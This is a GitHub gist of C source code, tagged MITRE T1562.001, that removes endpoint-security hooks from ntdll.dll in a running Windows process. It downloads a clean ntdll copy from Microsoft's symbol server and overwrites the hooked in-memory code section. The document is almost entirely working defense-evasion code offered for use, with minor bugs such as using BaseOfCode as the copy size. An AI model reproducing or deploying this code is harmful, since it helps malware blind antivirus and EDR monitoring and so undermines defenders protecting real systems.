Last active
June 30, 2024 05:59
-
-
Save wizardy0ga/db76825bb74fbb4bb73138bf59cd7548 to your computer and use it in GitHub Desktop.
Unhooking ntdll using a copy sourced from the microsoft internet symbol server
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Author: | |
wizardy0ga | |
Date: | |
June 2024 | |
Arch: | |
x64 | |
Tested on: | |
Windows 10 19045.4529 | |
Compiler: | |
MSVC | |
Mitre: | |
Defense Evasion: | |
T1562.001 - Impair Defenses: Disable or Modify Tools | |
Description: | |
Unhook ntdll using a copy sourced from the microsoft internet symbol server. | |
Reference: | |
https://winbindex.m417z.com/ | |
http://msdl.microsoft.com/ | |
*/ | |
#include <windows.h> | |
#include <wininet.h> | |
#include <stdio.h> | |
#pragma comment(lib, "wininet.lib") | |
/* Error handling */ | |
#define print(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__); | |
#define fatal_error(msg, ...) printf("[!] " msg "\n", ##__VA_ARGS__); return -1; | |
#define api_error(api) printf("[!] " api " failed with error: %d\n", GetLastError()); | |
/* pe parsing */ | |
#define check_dos(dos_header) if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) { fatal_error("DOS header signature mismatch."); } | |
#define check_nt(nt_header) if (nt_header->Signature != IMAGE_NT_SIGNATURE) { fatal_error("NT header signature mismatch."); } | |
/* structs resourced from https://ntdoc.m417z.com/ */ | |
typedef struct _PEB_LDR_DATA | |
{ | |
ULONG Length; | |
BOOLEAN Initialized; | |
HANDLE SsHandle; | |
LIST_ENTRY InLoadOrderModuleList; | |
} PEB_LDR_DATA, * PPEB_LDR_DATA; | |
typedef struct _UNICODE_STRING | |
{ | |
USHORT Length; | |
USHORT MaximumLength; | |
_Field_size_bytes_part_opt_(MaximumLength, Length) PWCH Buffer; | |
} UNICODE_STRING, * PUNICODE_STRING; | |
typedef BOOLEAN(NTAPI* PLDR_INIT_ROUTINE)( | |
_In_ PVOID DllHandle, | |
_In_ ULONG Reason, | |
_In_opt_ PVOID Context | |
); | |
typedef struct _LDR_DATA_TABLE_ENTRY { | |
LIST_ENTRY InLoadOrderLinks; | |
LIST_ENTRY InMemoryOrderLinks; | |
LIST_ENTRY InInitializationOrderLinks; | |
PVOID DllBase; | |
PLDR_INIT_ROUTINE EntryPoint; | |
ULONG SizeOfImage; | |
UNICODE_STRING FullDllName; | |
UNICODE_STRING BaseDllName; | |
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; | |
/* Borrowed from MSDN */ | |
typedef struct _PEB | |
{ | |
BYTE Reserved1[2]; | |
BYTE BeingDebugged; | |
BYTE Reserved2[1]; | |
PVOID Reserved3[2]; | |
PPEB_LDR_DATA Ldr; | |
} PEB, * PPEB; | |
VOID CheckSyscallHook(CHAR* Name, PVOID Address) { | |
printf("[+] %s @ 0x%p is ", Name, Address); | |
if (*(ULONG*)Address != 0xb8d18b4c) { | |
printf("HOOKED\n"); | |
} | |
else { | |
printf("UNHOOKED\n"); | |
} | |
} | |
int main() { | |
PIMAGE_DOS_HEADER pNtDllDosHeader = NULL, | |
pUnhookedDos = NULL; | |
PIMAGE_NT_HEADERS pNtDllNtHeaders = NULL, | |
pUnhookedNt = NULL; | |
HINTERNET hInternet = NULL, | |
hInternetFile = NULL; | |
WCHAR DownloadUrl [MAX_PATH]; | |
PVOID pHookedDllBase = NULL, | |
BaseOfCode = NULL; | |
PBYTE pBuffer = NULL, | |
pTempBuffer = NULL; | |
DWORD BytesRead = 0, | |
OldProtection = 0, | |
TempBufSize = 1024; | |
SIZE_T DownloadSize = 0, | |
SizeOfTextSection = 0; | |
PPEB pPeb = (PPEB)__readgsqword(0x60); | |
PLDR_DATA_TABLE_ENTRY pEntry = NULL; | |
printf("[+] Press enter to begin"); getchar(); | |
CheckSyscallHook("NtProtectVirtualMemory", GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtProtectVirtualMemory")); | |
/* Get base address of ntdll in this process */ | |
for (pEntry = (PLDR_DATA_TABLE_ENTRY)pPeb->Ldr->InLoadOrderModuleList.Flink; pEntry->DllBase != NULL; pEntry = (PLDR_DATA_TABLE_ENTRY)pEntry->InLoadOrderLinks.Flink) { | |
if (lstrcmpW(pEntry->BaseDllName.Buffer, L"ntdll.dll") == 0) { | |
pHookedDllBase = pEntry->DllBase; | |
} | |
} | |
if (pHookedDllBase == NULL) { | |
fatal_error("Could not locate ntdll base address."); | |
} | |
print("Found ntdll base address at 0x%p", pHookedDllBase); | |
/* Get base address of hooked ntdll text section in local process */ | |
pNtDllDosHeader = (PIMAGE_DOS_HEADER)pHookedDllBase; | |
check_dos(pNtDllDosHeader); | |
pNtDllNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pHookedDllBase + pNtDllDosHeader->e_lfanew); | |
check_nt(pNtDllNtHeaders); | |
BaseOfCode = (PVOID)((ULONG_PTR)pHookedDllBase + pNtDllNtHeaders->OptionalHeader.BaseOfCode); | |
/* Create download url based on the TimeDateStamp & SizeOfImage. */ | |
wsprintf(DownloadUrl, L"%s%0.8X%0.4X/ntdll.dll", L"https://msdl.microsoft.com/download/symbols/ntdll.dll/", pNtDllNtHeaders->FileHeader.TimeDateStamp, pNtDllNtHeaders->OptionalHeader.SizeOfImage); | |
print("Constructed ntdll download url: %S", DownloadUrl); | |
/* Download file to local buffer */ | |
hInternet = InternetOpenW(L"wizardy0ga", 0, NULL, NULL, 0); | |
if (hInternet) { | |
hInternetFile = InternetOpenUrlW(hInternet, DownloadUrl, NULL, 0, INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, 0); | |
if (hInternet) { | |
pTempBuffer = (PBYTE)LocalAlloc(LMEM_FIXED | LMEM_ZEROINIT, TempBufSize); | |
pBuffer = (PBYTE)LocalAlloc(LPTR, BytesRead); | |
if (pTempBuffer && pBuffer) { | |
print("Reading unhooked ntdll image to buffer"); | |
while (TRUE) { | |
/* Read data into temp buffer & add amount of bytes read to total download size */ | |
if (!InternetReadFile(hInternetFile, pTempBuffer, TempBufSize, &BytesRead)) { | |
api_error("InternetReadFile"); goto Cleanup; | |
} | |
DownloadSize += BytesRead; | |
/* Reallocate buffer & read temporary buffer into main buffer space */ | |
pBuffer = (PBYTE)LocalReAlloc(pBuffer, DownloadSize, LMEM_MOVEABLE | LMEM_ZEROINIT); | |
if (pBuffer) { | |
memcpy((PVOID)(pBuffer + (DownloadSize - BytesRead)), pTempBuffer, BytesRead); | |
memset(pTempBuffer, '\0', BytesRead); | |
if (BytesRead < TempBufSize) { | |
break; | |
} | |
} | |
else { | |
api_error("LocalAlloc"); goto Cleanup; | |
} | |
/* Break if buffer is still null */ | |
if (!pBuffer) { | |
goto Cleanup; | |
} | |
} | |
} | |
else { | |
api_error("LocalAlloc"); | |
} | |
} | |
else { | |
api_error("InternetOpenUrlW"); goto Cleanup; | |
} | |
} | |
else { | |
api_error("InternetOpenW"); goto Cleanup; | |
} | |
print("Read %lld bytes to 0x%p", DownloadSize, pBuffer); | |
/* Get size of unhooked text section */ | |
pUnhookedDos = (PIMAGE_DOS_HEADER)pBuffer; | |
check_dos(pUnhookedDos); | |
pUnhookedNt = (PIMAGE_NT_HEADERS)(pBuffer + pUnhookedDos->e_lfanew); | |
check_nt(pUnhookedNt); | |
SizeOfTextSection = pUnhookedNt->OptionalHeader.BaseOfCode; | |
/* Copy unhooked text section into hooked text section */ | |
if (!VirtualProtect(BaseOfCode, SizeOfTextSection, PAGE_EXECUTE_WRITECOPY, &OldProtection)) { | |
api_error("VirtualProtect [wcx]"); goto Cleanup; | |
} | |
memcpy(BaseOfCode, (PVOID)((ULONG_PTR)pBuffer + pUnhookedNt->OptionalHeader.BaseOfCode), SizeOfTextSection); | |
if (!VirtualProtect(BaseOfCode, SizeOfTextSection, OldProtection, &OldProtection)) { | |
api_error("VirtualProtect [return]"); | |
} | |
CheckSyscallHook("NtProtectVirtualMemory", GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtProtectVirtualMemory")); | |
printf("[+] Successfully unhooked ntdll! press enter to quit."); getchar(); | |
Cleanup: | |
if (hInternet) { InternetCloseHandle(hInternet); } | |
if (hInternetFile) { InternetCloseHandle(hInternetFile); } | |
if (pTempBuffer) { LocalFree((HLOCAL)pTempBuffer); } | |
if (pBuffer) { LocalFree(pBuffer); } | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment